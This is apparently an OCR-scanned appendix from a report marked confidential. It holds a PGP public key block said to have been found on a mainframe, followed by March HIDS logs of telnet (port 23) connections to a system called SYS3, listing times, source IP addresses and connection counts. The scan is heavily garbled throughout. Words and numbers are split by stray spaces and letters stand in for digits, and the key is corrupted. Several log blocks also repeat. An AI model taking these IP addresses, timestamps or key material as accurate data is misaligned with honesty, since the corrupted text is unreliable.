9vG2 oRcAEQEAAY kFQwQYAQ I E LQUC T j abewUJBAvWXs K 7 FAAAAAAAFwNbe DUwOWN l 

cnRp Zm l j YXRl QHBn cC 5 j b2 0wggNXMI I C wKADAgE CAg i f T j ANBgkqh k i G 9 w O BAQUF 

Strictly confidenti a l  l Bus i ness Secret l 



ADA/MQ swCQYDVQQGEw JTRTE S MBAGA l UE C hMJU3 Rl cml h i E F CMRwwGgYDVQQDExNT 

dGVyaWEgQU i gRU l E I ENB I HYxMB 4 XDTExMDYwODA3M z U 1 NVoXDTE zMDYwO DA3MzUl 

NVowcj E LMAkGAl UEBhMCUO UxHj AcBgNVBA o T FUtyb2 5vZm 9 n Z GVteW5 kaWd o Z XRl 

b j E aMB gGAl UE CxMRU2 th dHRl dmVya2VO I E l U I FMx JzAQBgNVBAMTCVJFW C 9 T dXB y 

b zATBgNVBAUT DDE 2 Mj AyMTAwNTY O N j CBn z ANBgkqhk i G 9 w 0 BAQE FAAOBj QAwgYkC 

gYEAuW L 9 R4 0 rdye S +p t 7 c / N+ 6 l o T aB eKKE z L 2 B JFqf l e 1 Jy 2 n z hppxX i l a Z Vw l j i 

r T qT S y cg 4 GM1 RdO / FOQq / k i 6 TH f a 6 o qL LF 2 l xpUOp i 6 L+ s s CKE s 7 q5meEDFD5 H5 1 

2 NQB2MVr DixUfmGE xgCkkAo2 bW2 4 6KG6AF 2 0 / + Z 3 9vG2 oRc CAwEAAaOCAS O wggEp 

MB 8 GA 1 U d iwQYMB aAFDOdqmxj tHRt Fb t 6 tR2 + 8 yAH / RCGMB O GA 1 U dDgQWBBRH+U 8 P  

lvTwnmspUw l E S l C r 7N S o LDAOBgNVHQ 8BAf 8 E BAMCBaAwKAY DVRO RBCEwH 4 E dc 2Vy 

dml j ZWNlbnRl c kB z a 2 F O dGV2 ZXJrZXQu c 2 Uw FQYDVR0 gBA 4 wDDAKBggqhXA 2 C Q I N  

ATCB l QYDVR 0 f B I GNMI GKME OgQaA/ h j l o dHRwOi 8vY2 RwMS 5 z dGVyaWE u c 2 UvY 2 Rw 

L 2 Vp Z C 9 T dGVyaWE 1Mj BBQi UyMEVJRCUyMENB JT iwdj EuY3 JsMEOgQaA / h j l odHRw 

O i 8vY 2 RwMi 5 z dGVyaWE u c 2 UvY2 RwL2 Vp Z C 9 T dGVyaWE 1Mj BBQ iUyMEVJRCUyMENB 

JT iwdj EuY3 JsMA O G C S qG S i b 3 DQEBBQUAA4 GBAN 8 b L Z DLWMgp k ZX 7 1 FJqUxMR7 kaK 

C l Xt 3 0 JpMemEva 5 B t JfORE i h om z l QOE 1 Gu f f dMlG Sh 5 c t f 9 r 6 ki w 3 e l H 1 Rt diNpL 

KBNP L 7 8 gXqde D 8 s T 6 d 2 z L l CL dW 6 t GT rKJj JrVs d0 9 Z l a DQ 3 7 E B kC z 7 s Pj +CXB z H 4  

X i p 0 sbh i n z qj c l e T BRs OAAAAn SAEGQE I AAYFAk 4 2 m3 kACgkQT dWNX P 4 X I iCRKwP+ 

L i b 4 w5 0e / I zEAJ4 6mGO / +L am 6 XPqALUj MWwuXCpwWh / s VFH 7 + c O P O ks Q I Ho 6 l s l 5  

P o YX S F i hmo u2 1 qVA3 3 wVQQ 6V z + S fQ 8 3 YwC oUYMM6nA s Dw7 a j 9Xk2 8 i Z uQRKAe E O I  

mS fQJT i TNEBUk+ l R 1 N kG s F a q l / UmeGgD 4 R e 3 vR4HdmAACgkQGDqfL 5 2 Rl z u l 6 QgA 

lAQAr+Q0 + 9N2 j fhJwQ T 2 gQLi PuWXEbx + O O m / L i l E yMAZ yxQC I YL ku 7b T / oA4 7 Fe g  

LbuE 5 z t P sbRu T t 9pMKTDFXKDhFn 3 LJtkq3 7 Kx q z a gLEE eNFn f j j i smhDHhJa z 3B f  

5 MKL i j gK / d03mt fyE 5 t O UBbiVM 4 Z wHUrqD f Gi l 7 y+ P yo iAe JZ FYnm 9 9AcRUCoouO 

E kk l n 0 QkuWkKFBh 6 i qs 0 0 DNa r l hmWXnmKi t yX 0 7 u YnV6KZ i oa S z s 7 5 h J+ 7 PBVJAk 

nWmx G 5 KO yAj t i 7 DVnm 0 t xMBw 5mKcKrg l hG + S 2 t 0 Jl f i s Cb j 8 1 GU 9W l x n Je 8 t Z nE r  

7 8 5mfDrp 7 YW3 wGVBvW 8 tRQ== 

= h s qC 

- - - - -END PGP PUB L I C KE Y BLOCK- - - - -

Figure 102 A copy of the PGP key found o n  the mainframe 
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Appendix GG:  Logs for March for HIDS on SYS 3 

These a re the l ogs for pa rts of Ma rch for the H I DS system i nsta l led on  SYS3 .  

4 

00:08:49.3 2, port=23, host=2 2 2 . 100.119 .80, \ host=O.O .O.O, peak=1, hostpeak=1,requests=1,termi nat ions=1,cu rrent=O,suggested_l i m it=2 ,suggested_percentage=100, durat io n=O,warn i ngs=O,qos_exce pti o ns=O,act ion=NO 

L\ M \T,se nsorhostna me=DAFAS 

4 

0 1 : 10 : 2 9 .66, port=2 3 , h ost=2 2 2 . 100. 1 1 9 .80, \ host=O.O .O.O, peak=1,hostpeak=1,requests =1,term i nat ions=1,current=O,suggeste d_l i m it = 2 , suggested_percentage=100, d u rat io n=O,wa rn i ngs=O,qos_except i o ns=O,act i o n = N O  

L\ M IT,se nsorhost n a me=DAFAS 

4 

1 3 : 3 0 : 3 3 . 27, port=2 3 , h ost=5 9 . 1 2 7 . 2 5 1 .9, \ host=O .O.O.O, pea k=1, hostpea k=1,requests=3,term i n a tions=3,cu rrent=O,s uggested_l i m it=2,s uggested_percentage=100,d u ration =O,wa r n i ngs=O,q os_except ions=O,acti o n = N O L I  

M IT,s e nsorhost n a m e= DAFAS 

4 

1 6 : 3 5 : 34 . 1 3 , port=23, host=124.109.36 .48, \ h ost=O .O.O.O,peak=1, hostpea k=1 , requests=2,termi nat ions=2,cu rre nt=O,suggested_l i m it=2, suggested_perce ntage=100, d u rat ion=O,wa rn i ngs=O,q os_exce ptions=O,act i o n = N O L  

l M I T,se nsorhost n a me=DAFAS 

4 

2 2 : 45 : 3 5 . 87, port=23 , h ost=24.141 .58 .29, \ host=O .O.O.O, pea k=1,hostpea k=1,requests =1,termi nat ions=1,cu rrent=O,s uggested_l i m it=2,s uggested_percentage=100,d u rat ion =O,wa rn i ngs=O,q os_exce ptio ns=O,acti o n = N O L I  

M IT,s ensorhost n a m e = DAFAS 

5 

0 5 : 5 7 :  17 .90, port=23, host=12 7 .O .0 .1 ,  l h ost=O .0.0 .0, peak=1,host peak=1,requ ests=1,  term i nat io ns=O, cu rrent=1,s uggested _l i m it=2,s uggested_perce ntage= 100,d u rati on= O, warn i  ngs=O ,q os_ exceptions=O,act i  o n = N O L I  M \T, 

sensorhostna me=DAFAS 

5 

06 :58 :58 .22 ,port=23 , h ost=8 3 . 174. 9 2 . 186, \ host=O .O .O.O, pea k=7, hostpeak= 1 , requ ests=8,termi nat ions=2,curre nt=7,suggested_l i m it=14,s uggested_percentage=14, d u rat ion=O,wa r n i ngs=O,q os_excepti ons=O,acti o n = N O L  

l M I T,se nsorhostna me= DAFAS 

5 

08:00:3  8 .  54, port= 2 3, hos t=17 2 .  3 1 . 2  2 5 .  38,  J hos t=O .O .O .  O, pea k= 1 1, hos t p e a k= 2, re q u ests =6, t er  m i nati  on s =3 ,c  u r rent= 1 O ,sugg est ed _l i m it=22 ,s  uggest ed _p e rcentage = 18, d u rat i on =0, w a rn  i ng s =O, q os_ e x  c e p t i o ns=O, a et i on= N 

O L I M IT,s ensorhostna me=DAFAS 

Strictly confidenti a l  l Bus i ness Secret l 
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s 
0 9 :  O 2 :  18 .82,  p o rt=23, hos t= 17 2 .  3 1 . 2  2 S .  38,  l hos t=O . O  .O .O, pea k= 17, h ost pea k=S, re q u ests =9, t er  m i nat ion s =2, c u r rent= 17 ,s ugg ested _ l  i m it=3 3 ,s  uggest ed _p e re e n tag e=31,d u r at i on =O, w a rn i ng s =O, q os_ ex c e pti o ns=O, a et i o n =  N 

O U  M IT,s ensorhostna m e = DAFAS 

s 
10:03 : S 9 . 18, port=23, host= 1 7 2 . 3 1 . 2 2 S .38, 1 host=O .O .O.O,peak=18, hostpeak=6,requ ests =S,termi nat ions=S,cu rrent=17,suggested_l i m it=34,suggested_percenta ge=37, d u ration=O,wa rn i ngs=O,q os_exce pti o ns=O,a cti o n = N  

O L I M IT,s ensorhostna me=DAFAS 

s 
1 1 :  O S :  3 9 .43, p o r t= 2 3, h os t= 17 2 .  3 1 . 2  2S . 3 8, l h os t=O .O .  O .  O, pea k= 17, hast p e a k= S,  re q u ests =3, te  r m i n at i o n  s=  7 , c  u r re n t =  13  ,s uggest ed _l i m i t= 3 3 ,s uggested _p e rcentage =31,  d u rat i on =O, w a rn  i ng s =O ,q os_ ex c e p t io  ns=O , a  et i o n =  N 

O U  M I T,sens orhostna me=DAFAS 

s 
1 2 : 0 7 : 19 .7 1, port=23, host=137 .S9 .2S4 .161, 1 host=O .O.O .O, pea k=1S, hostpea k=2,requ ests=8,te r m i nat io ns=8,current=13,s uggested_l i m i t =32,s uggested_percentage= 1 1 , d u rat ion=O,wa rn i ngs=O, qos_except ions=O,act i o n =  

N O L l  M IT,s e nsorhost n a m e = DAFAS 

s 
13 :09 :00.06, p o r t= 2 3,  h os t=8 3 . 1 7  4.  9 3 .198,  l h os t=O .O .  O .  O, pea k= 18, hast p e a k= 1,  re q u ests =8, t e r m i n at i o n  s =3, c u r re n t =  18, sug g est ed _l i m i t= 40 ,s uggest ed _p e re e ntage =4, d u rat i o n=O, w a rn i ng s =O, q os_ ex c e pti o ns=O , a  et i o n= N O 

Ll M I T,sens orhost na me=DAFAS 

s 
14:  1 O :  40.28, port=23, hos t= 17 2 .  3 1 . 2  2 S . 38, l host=O .O .  O .  O, pea k= 2 O, h ost p e a k= S,  re q u ests = 7, t er  m i nat ion s =6 ,c u rrent = 19 ,s uggest ed _l i m i t= 40 ,s ugg est ed _p e rcenta ge= 2S, d u rat i o n  =O, w a r n i ng s =O , q  os_ e x  c e p t i o ns=O ,a  et i o n =  N 

O L I M IT,s ens orhostna me =DAFAS 

s 
1 S :  12 :20.6S,  port=23, host= 1 7 2 . 3 1 . 2 2 S  .38,  l host=O .O .O .0, pea k=21,  hast peak= 7 , requests=10, term i nat ions=1S,curre nt=14,suggested _l i m it=40,s uggested _percentage =36, d u  ration =O, w a r n i  ngs=O,qos _ exce ptio ns=O ,actio n  

= N O L I M IT,s ensorhost n a m e =DAFAS 

s 
1 6 :  14:00.88, port=2 3,  hos t= 17 2 . 3 1 .  2 2 S . 38,  l hos t=O .O .  O .  O, pea k= 1S,  hast pea k= S,  re q u ests = 13,  t e r m i n at i o n s =2 2,c u r re nt=S ,sugg est ed _l i m i t= 28 ,s uggest ed _percentage=38, d u rat i o n =O, w a rn  i ngs=O, q os_ ex c ep t i on s =O, a et i o n =  

NOL l  M IT,se nsorhost n a m  e= DAFAS 

5 

1 7 :  1 S :  4 1 . 18, port= 23,  hos t=8 3 .  2 3 3 . 1  OS .4 7, l hos t=O .O .O .O, pea k =S, hostpea k= 1 ,  re q u e st s =  2,  te r m i nati  o ns=S ,c  u r re nt=2 ,s uggest ed _l i m i t= 10 ,s ugg est ed _p e re e n tag e =2 O, d u rat i on =O, w a r n i ngs=O ,q os_ ex c e p t i o ns=O ,a  et i o n =  N O L 

I M IT,se nsorhost n a me=DAFAS 

s 
1 9 : 1 9 : 0 1 . 79, port=23,host= 1 3 7 . S 9 . 2 S 4 . 1 6 1 , 1 host=O.O .O.O, peak=2,hostpeak=1,requ ests=O,terminat ions=1,cu rrent =1,suggested_l i m it=3,suggested_percentage=100, d u rat io n=O,wa rn i ngs=O,qos_exce ptions=O,acti o n = N O  

Ll M IT,se nsorhost n a me=DAFAS 
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5 

2 3 :4 7 :  16 . 14, port=2 3,  hos t=2 4 . 1 4 1 . 5 8 .  2 9, l host=O .O .O .O, pea k= 1, ho stpea k= 1 ,  re q u ests= 1,  te r m i n a t i on s =  1,c u r rent=O, s uggest e d  _l i m i t= 2,s u g ges te d _per c e ntage= 100 ,d u r at i o n  =O, w a r n i ng s =O, q os_ ex c e pti o ns=O ,act ion= N O Ll 

M IT,s e nsorhost n a m e = DAFAS 

H I D5-sys3-ma rs-t e l net.txt 4 

00:08:49.32, port=23 , h ost=2 2 2 . 100. 1 19.80, 1 host=O.O .O .O, pea k=1,hostpeak= 1,requests =1,termi nat ions=1,current=O,s uggeste d_l i m it=2 ,suggested_percentage =100, durat io n=O,wa r n i ngs=O,qos_exce pti o ns=O,acti o n = N O  

L I M IT,se nsorhost n a me=DAFAS 

4 

0 1 : 10 : 2 9 .66,port=2 3, host=222.100.119 .80, 1 host=O.O .O .O, pea k=1, hostpeak= 1,requests =1,term i nat ions=1,cu rrent=O,suggested_l i m it=2 ,suggested_percentage=100, d u rat io n =O,wa r n i n gs=O,qos_exce ptio ns=O,acti o n = N O  

L I M IT,se nsorhost n a me=DAFAS 

4 

1 3 : 3 0 : 3 3 . 27,port=2 3 , h ost=5 9 . 1 2 7 . 2 5 1 .9, 1 host=O .O.O.O,pea k=1, hostpea k=1,req uests=3,termi nat ions=3,cu rrent=O,s uggested_l i m it=2,s uggested_percentage=100, d u rat ion=O,wa rn i ngs=O,q os_exceptio ns=O,actio n = N O L I  

M IT,se nsorhost n a m e = DAFAS 

4 

1 6 : 3 5 :34 .13 ,port=23 , h ost= 124.109 . 3 6 .48,1 host=O.O .O.O, pea k=1,hostpeak= 1 , requ ests=2,termi nat ions=2,current=O,s uggested_l i m it=2, suggested_percentage=100, d u rat ion=O,wa rn i ngs=O,q os_except io ns=O,actio n = N O L  

I M I T,se nsorhost n a me=DAFAS 

4 

22 :45 : 3  5 .  87, port= 23,  hos t=2 4 . 1 4 1 .  5 8 . 2  9,  l host=O .O .O .O, pea k= 1, ho stpea k= 1 ,  re q u ests = 1, te r m i n a t i on s=  l, c u rrent=O ,s  uggeste d _l i m it=2, s ugg ested _p e rcenta ge= l 00, d u rat i o n =O, w a rn  i ng s =0, q os_ ex c e p t i o ns=O ,act ion= N O Ll 

M IT,se nsorhost n a m e= DAFAS 

5 

0 5 : 5 7 : 1 7 .90, port=23, host=127 .0 .0 . 1 , 1 h ost=O.O .O .O,peak=l,hostpea k=1,requests=1,te r m i natio ns=O, cu rrent=1,s uggested_l i m it=2,s uggested_percentage=100, d u rat i o n =O,wa rn i ngs=O,q os_exceptions=O,acti o n = N O L I M IT, 

sensorhostna me= DAFAS 

5 

06 :5  8 : 5  8 .  2 2, port= 23,  hos t=83 . 1  7 4.  9 2 .186,  l hos t=O .O .O .  O, pea k= 7 ,  h os tpea k= 1 ,  re q u ests =8, t er  m i n at i o ns=2 , c  u r re n t= 7 ,suggest ed _l i m i t= 14 ,s uggest ed _p erce n tag e= 14 , d  u ration =O, w a r n i ngs=O, q os_ ex c e p t io n s =O ,a  et i o n  = N  O L 

l M I T,se nsorhost n a me=DAFAS 

5 

08 :00:3  8 . 54, p o r t= 2 3, hast= 17 2 .  3 1 .  2 2 5 . 38, l hos t=O. O .  O .O, pea k= 1 1, h ost pea k= 2,  re q u ests =6, t e r m i n at i on s =3 ,c  u r rent= 1 O ,s  ugg est ed _l i m i t= 22 ,s uggest ed _p e rcentag e= 18, d u ra t i on =O, w a r n i ng s =O ,q os_ ex c e pti o ns=O, a et i o n =  N 

O L I M  I T,s ensorhostna me= DAFAS 

5 

09 :0 2 :  1 8 . 8  2, port= 23,  h os t= l 7 2 .  3 1 . 2  25 . 3  8, l hos t=O. O .  O .  O, pea k= 17, hos t p e a k= 5,  re q u ests =9, t er  m i nati  ons=2,c u r re n t= 17 ,s  ugges t ed _l i m it=33 ,s ugg est ed _p e rcentag e=31,  d u rat i on =O, w a r n i ng s =O ,q os_ ex c e pti o ns=O ,a  et i o n =  N 

O L I  M IT,sensorhostna me=DAFAS 
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5 

l O :  0 3 : 5  9 . 18, p o r t= 2 3,  h os t= l 7 2 .  3 1 . 225 .3  8,  l hos t=O .O .  O .  O, pea k= 18, hos t pea k= 6, re q u ests =5, t e r m i n at i o ns=S ,c  u r re n t =  17 ,s  uggest ed _l i m i t= 34 ,suggest ed _p e re e n tag e =3 7 ,d u ration =O, w a rn i ng s =O, q os_ ex c e pti o ns=O, a et i o n =  N 

O L I M  IT,s ensorhostna me=DAFAS 

5 

1 1 :05 : 3  9 .43, p o r t= 2 3, h os t= l 7 2 .  3 1 . 2  25 .3  8,  l hos t=O .O .  O .O, pea k= 17, hos t p e a k= 5,  re q u ests =3, te r m i n at i o n s=  7 , c  u r re n t =  13 ,s  uggest ed _l i m i t= 3 3 ,  sug g est ed _p e rcentag e=31,  d u rat i o n  =O, w a r n i n g s =O, q os_ e xce p t i o ns=O, a et i o n =  N 

O L I M  IT,s ensorhostna me=DAFAS 

5 

1 2 : 0 7 :  1 9 .  71 ,  port=23, hos t= 13 7 .  59 .2  54 .161,  l host=O. O .O .O, pea k= 15,  h ost pea k= 2, re q u ests=8, ter m i n at i o ns=8, c u rrent= 13 ,s uggest ed _l i m i t =3 2 ,s uggested _p e re en  tag e= 11 ,  d u ration =O, w a rn  i ngs=O, q o s_ ex c e p t i o n s =O ,act i o n =  

N O L l  M IT,se nsorh ost na m e = DAFAS 

5 

13 :09 :00.06, port=2 3 , h ost=8 3 . 174.93 . 198, 1 host=O.O .O.O,peak=l8, host peak=l,requ ests=8,termi nat ions=3,current=l8,s uggested_l i m it= 40,suggested_percentage=4, d u rat io n=O,warn i ngs=O,q os_exce pt io ns=O,act io n = N O  

L I M IT,sens orhost n a me=DAFAS 

5 

14: 10:40.28,  port=23, host=l72 . 3 1 .225 .38, l host=O.O .0.0, pea k=20, hos t pea k=S ,requ ests= 7 ,term i nat ions=6,s uggested _I i  m it=40,s uggest ed_percentage=2 S,durat ion=O,  warn i  ngs=O, q os_ except ions=O,acti o n = N O L I  M IT,se n 

sorhostna m e =DAFAS 

s 
1 5 :  1 2 : 2  O .  65, port=23, hos t= 17 2 .  3 1 . 2  2 5 . 38, l hos t=O . O .O .O, pea k= 2 1, h ost p e a k= 7,  re q u ests = l O, t er  m i nat ion s =  15,  c u r re n t= 14, s uggest ed _l i m i t=40, s uggest ed _p e re e ntage=3 6, d u r at i on =O, w a r n i ng s =O, q os_ exce pti o n  s=O ,act i o n 

= N O L I M I T,sensorhost n a m e = DAFAS 

5 

1 6 :  14:00.88, p o r t= 2 3, h os t= l 7 2 . 3 1 .  2 2 5 . 3 8, l h os t=O . O .  O .  O, pea k= 15, hos t p e a k= 5,  re q u ests= 13,  t e r  m i nat ion s=  2 2, c u r re nt=S ,suggested _l i m it=28 ,s uggest ed _p e re e n tag e= 3 8, d u r at i on =O, w a r n i ngs=O, q os_ except i o n  s =O, a ct i o n =  

N O L I M IT,s e nsorhost n a m e = DAFAS 

5 

1 7 :  1 5 : 4 1 . 18, port=23, hos t=8 3 .  2 3 3 . l  O 5 .4 7, l hos t=O . O .O .  O, pea k =5, hos t p e a k= l ,  re q u ests =2, te  r m i n at i o ns=S ,c  u r re nt=2, suggest ed _l i m i t= l O ,s uggested _p e re e n ta ge= 2 O, d u rat i on =O, w a rn i ngs=O ,q os_ ex c e ptions =O ,a  et i o n =  N O  L 

I M I T,se nsorhost n a me=DAFAS 

5 

1 9 : 19 :0 1 . 79,port=23 , h ost= l 3 7 . 5 9 . 2 5 4 . 1 6 1 , 1 host=O.O .O.O, peak=2, hostpeak=l, req u ests =O,terminat ions=l,current=l,suggested_l i m it=3,suggest e d_percentage=l00, d u rat io n=O,wa rn i ngs=O,qos_excepti o ns=O,acti o n = N O  

Ll M IT,se nsorhost n a me=DAFAS 

5 

2 3 : 4 7 : 1 6 . 14, port=23,host=24.141 .58 .29, 1 host=O .O.O .O, pea k=l, hostpea k=l, req uests =l,termi nat ions=l,cu rrent=O,su ggested_l i m it=2,s uggested_percentage=l00,d u rat ion=O,wa rn i ngs=O,q os_except io ns=O,acti o n = N O L I  

M IT,s e nsorhost n a m e = DAFAS 

Strictly confi denti a l  l Bus i ness Secret l 
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:4  

00:08 :49.32,port=2 3, host=2 2 2 . 100. 1 1 9 .80, 1 host=O.O.O .O,peak=l, hostpeak= l , requ ests =l,termi nat ions=l,cu rrent=O,suggested_l i m it=2 ,suggested_percentage= 100, d u ratio n=O,wa rn i ngs=O, qos_exce pti o ns=O,actio n = N O  

U M IT,se nsorhostna me=DAFAS 

4 

0 1 : 10 : 2 9 . 66,port=2 3 , h ost=2 2 2 . 100. 1 19.80, 1 host=O.O .O.O, peak=l, hostpeak=l, req u ests=l,termi nat ions=l,cu rrent=O,suggested_l i m it=2 ,suggested_percentage=100, d u rati o n =O,wa r n i ngs=O, qos_exce pt ions=O,acti o n = N O  

L I M I T,sens orhost n a me=DAFAS 

4 

1 3 : 3 0 : 3  3 .  2 7, port= 2 3, hos t=S 9 . 1 2  7 .  2 5 1 .9,  l host=O . O .O .  O, pea k= 1, ho st p e a k= 1 ,  re q u ests =3, te  r m i n a t i on s =3 ,c  u rrent=O, s uggeste d _l i m it=2,s ugges t ed _perce n t ag e= 100 , d  u rat i on =O, w a rn i ng s =O , q  os_ ex c e pti o ns=O, a et i o n =N O Ll 

M IT,s e nsorhost n a m e= DAFAS 

4 

1 6 : 3 5 : 3 4 . 1 3 , port=23, host=124 . 109.36 .48, 1 h ost=O .O .O.O,peak=l, hostpea k=l,requ ests=2,termi natio ns=2,curre nt=O,suggested_l i m it=2, suggested_percentage=100, d u rat ion=O,wa rn i ngs=O,q os_except io ns=O,act i o n = N O L  

I M  I T,sens orhost n a  me= DAFAS 

4 

2 2 :45 : 3  5 .87, port=2 3,  hos t=2 4 . 1 4 1 .  5 8 . 2  9, l host=O .O .O .O, pea k= 1, hostp e a k= 1 ,  re q u ests= 1,  t e r m i n a t i on s=  1, c u rrent=O ,s uggeste d _l i m i t= 2, s uggested _p e re entage= 100, d u r at  i o n =O, w a rn  i ng s =O, q os_ ex c e p t i o ns=O ,a  et i on= N O Ll 

M IT,s ensorhost n a m e = DAFAS 

5 

0 5 : 5 7 : 1 7 . 90,port=23, host= 1 2 7 . 0 . 0 . 1 , 1 h ost=O.O .O .O,peak=l,hostpea k=l,requests=l,te r m i natio ns=O, current=l,s uggested_l i m it=2,s uggested_percentage=100, d u rat i on =O,wa r n i ngs=O,q os_exceptions=O,act i o n = N O L I M IT, 

sensorhostna me=DAFAS 

5 

06 :58 :58 .22 ,port=23, host=83 . 1 7  4 .92 . 186, 1  host=O.O .0.0, pea k= 7 ,  hostpea k=l, re q u ests=S, term i nat io ns=2,cu rre n t= 7 ,suggested _l i m it=14,s uggested _perce ntage=14,d urat ion=O, w a rn i ngs=O ,q os_ exceptio ns=O,acti  on=NOL 

l M I T,se nsorhostna me=DAFAS 

5 

08 :00:38 .54, port=23, hos t= 1 7 2 . 3 1 . 2  2 5 .  38, l hos t=O .O .O .  O, pea k= 1 1, hast p e a k= 2, re q u ests =6, t er  m i nat ion s =3, c u rrent= 1 O ,s uggest ed _l i m it=2 2 ,suggested _p e re e n ta ge= 18 ,d u r at  i o n =O, w a rn  i ng s =O, q os_ e xce pti o ns=O ,a  et i o n =  N 

O L I M IT,s ensorhostna me=DAFAS 

5 

09 :02 :  18.82, port=23, host=172 . 3 1 . 225 .38, 1  host=O .O .0.0,  pea k=17, host pea k=S, re q u ests =9, term i nati  ons=2,c urrent=17 ,sugges t ed _I i  mit=33 ,suggested_pe rcentage=3 1,d urat ion =O, warn i  ngs=O,q os_ exceptio ns=O, a cti o n = N  

O Ll M IT,s ens orhostna me=DAFAS 

5 

10:03 : 5 9 . 18,port=23, host= 1 7 2 . 3 1 . 2 2 5 .38, 1 host=O .O .O.O,peak=18, hostpeak=6,requ ests =S,t e r m i n at ions=S,current=17,suggested_l i m it= 34,suggested_pe rcentage=37,d urat ion=O,wa rn i ngs=O,q os_exce ptio ns=O,a cti o n = N  

O L I M IT,s ens orhostna me=DAFAS 

Stri ct ly confident i a l  l Bus i ness Secret l 
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5 

1 1 :05 : 3 g  .43, port=23,  host=l 7 2 . 3 1 . 2 2 5  .38, 1  host=O .O .0 .0, pea k=l7, hos t pea k=5, requ ests =3, term i nati on s=  7 , c u rrent=13 ,s uggested_l i mit= 3 3  ,suggested _p e rcentage=3 1,d u ratio n =O, w a r n i ngs=O, q os _ exce ptio ns=O,a cti o n = N  

O L I M IT,sensorhostna me=DAFAS 

5 

1 2 : 0 7 : l g . 7 1 , port=23, host=l37 .5g .254 . 1 6 l , l h ost=O.O.O .O,peak=15, hostpea k=2,requ ests=8,te r m i nat io ns=8,current=l3,s uggested_l i m it=3 2,s uggested_p ercentage= 1 1 , d u rat ion =O,wa rn i ngs=O, qos_except ions=O,acti o n =  

N O Ll M IT,s e nsorhost n a m e = DAFAS 

5 

1 3 :  og :  00.06, port= 2 3, hos t=83 . 1 7  4.  g 3 .1g8,  l hos t=O . O .  O .  O, pea k= 18, hos t pea k= l,  re q u ests =8, te r m i n at i on s=3 , c  u r re n t =  18 ,s uggest ed _l i m it=40, suggested _p e rcentage =4, d u r a t io n=O, w a r n i ng s =O, q os_ e xce p t io  ns=O ,act io n =  N o 
L I M I T,sensorhost na me=DAFAS 

5 

14:  lO :  40.28, p o rt=2 3,  h ast= 1 7  2 . 3 1 .  225 . 3 8, l h os t=O .O .  O .  O, pea k =20, hos t p e a k= 5,  re q u ests = 7, te r m i nati o n  s =6, c u r re n t =  1g ,s ugg est ed _l i m it=40 ,suggested _p e rce ntage = 2 5,  d u rat i on =O, w a rn  i ngs =O , q  os_ ex c e p t io  ns=O , a ct ion= N 

O L I M IT,sensorhostna me=DAFAS 

5 

1 5 :  1 2 :  2 O .  65, port= 2 3,  hos t= 17 2 .  3 1 . 2  2 5 .  38, l hos t=O .O .O .O, pea k =21,  hos t pea k= 7, re q u ests = 10, te r m i n at  i o n s=  15 ,c  u r re n t= 14, suggested _l i m i t=40 ,s  uggest ed _perce ntage=36, d u rat i o n =O, w a rn i ng s =O, q os_ ex c e pti o ns=O, act i o n 

= N O L l  M IT,s ensorhostna me=DAFAS 

5 

1 6 : 14:00 .88, port=2 3 , h ost= l 7 2 . 3 1 . 2 2 5 .38, 1 host=O.O .O.O,peak=l5, hostpeak=5,requ ests=l3,terminat io ns=22,cu rre nt=5 ,suggested_l i m it =28,s uggested_percentage=38, d u rat ion=O,wa rn i ngs=O, qos_except ions=O,acti o n =  

N O Ll M IT,se nsorhost n a m  e= DAFAS 

5 

1 7 : 1 5 :4 1 . 18,port=23, host=8 3 . 2 3 3 . 105 .47, 1 h ost=O.O .O.O,peak=5 , h ostpeak=1, requ ests=2,t e r m i n at io ns=5,curre nt=2,suggested_l i m it=10 ,s uggested_perce ntage=20, d u rat ion =O,wa rn i ngs=O,q os_exceptions=O,act i o n = N O L  

I M I T,sensorhost n a me=DAFAS 

5 

1 g :  1 g :  O 1 .  7g, p o rt=2 3,  h os t= 13  7 . 5  g .  254 .161,  l h ost =O. O .  O .  O, pea k= 2,  hos t p e a k= l,  re q u ests =O, t e r m i nat ion  s=  1 , c  u r re n t =  l,s uggested _l i m i t =3 ,suggeste d _perc entage = l  00, d u rat i o n=O, w a rn  i ng s =O, q os_ ex c e pti o ns=O, a ct i o n =  N O 

Ll M I T,se nsorhostna me=DAFAS 

5 2 3 : 4 7 : 1 6 . 14,port=23,h ost=24.141 .58 .2g , l h ost=O.O.O .O,peak=1, h ostpea k=1,req uests=1,termi nat ions=l,cu rrent=O,suggested_l i m it=2 ,suggested_perce ntage=lOO, d u rat ion=O,wa rn i ngs=O, qos_exceptions=O,act i : 4  

00:08 :4g .32,port=23 , h ost=2 2 2 . 1 0 0 . l l g .8o, l host=O .O.O .O,peak=1, hostpeak= 1,requ ests =l,termi nat ions=1,cu rrent=O,suggested_l i m i t=2,suggeste d_pe rcentage = lOO, d urati o n =O,wa rn i ngs=O,qos_exce ptio ns=O,acti o n = N O  

L I M I T,sens orhost n a me=DAFAS 

4 

0 1 : 10 : 2 g .66, port=23, host=2 2 2 . 100 . 1 1g.80, I host=O.O .O.O,peak=l, hostpeak= l , requ ests=1,termi nat ions=1,cu rrent=O,suggested_l i m it=2,suggested_percentage=100, d u ratio n=O,wa rn i ngs=O,q os_exce ptio ns=O,acti o n = N O  

L l  M I T,se nsorhost n a me=DAFAS 
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4 

1 3 : 3 0 : 3 3 . 27,port=2 3 , h ost=5 9 . 1 2 7 . 2 5 1 .9, 1 host=O .O.O.O, pea k=l, hostpea k=l,req uests=3,termi nat ions=3,cu rrent=O,s uggeste d_l i m it=2,suggested_percentage=l00, d u ration =O,wa r n i ngs=O,q os_exce ptions=O,a ct ion=NOLI  

M IT,sensorhost n a m e = DAFAS 

4 

1 6 : 3 5 : 34 . 1 3 , port=23, host=l24.109.36 .48, 1 h ost=O.O .O.O, peak=l, hostpea k=l, requ ests =2,t e r m i n at io ns=2,curre nt=O , s u ggested_l i m it=2,s uggested_percentage=l00, d u rat ion=O,wa r n i ngs=O,q os_exce ptions=O,acti o n = N O L  

I M I T,sensorhost n a me=DAFAS 

4 

22 :45 : 3  5 .8 7, port=2 3,  host=2 4 . 14 1 .  5 8 . 2  9, l host=O .O .O .O, pea k= l, hostpea k= l ,  re q u ests = l, te  r m i n a t i on s=  l,c u rrent=O ,s uggeste d _l i m it=2,s uggested _p e re e n t a ge= 100 ,d u rat i on =O, w a rn i ng s =O, q os_ ex c e pti o ns=O, a et i on =N O Ll  

M IT,s e n sorhost n a m e = DAFAS 

5 

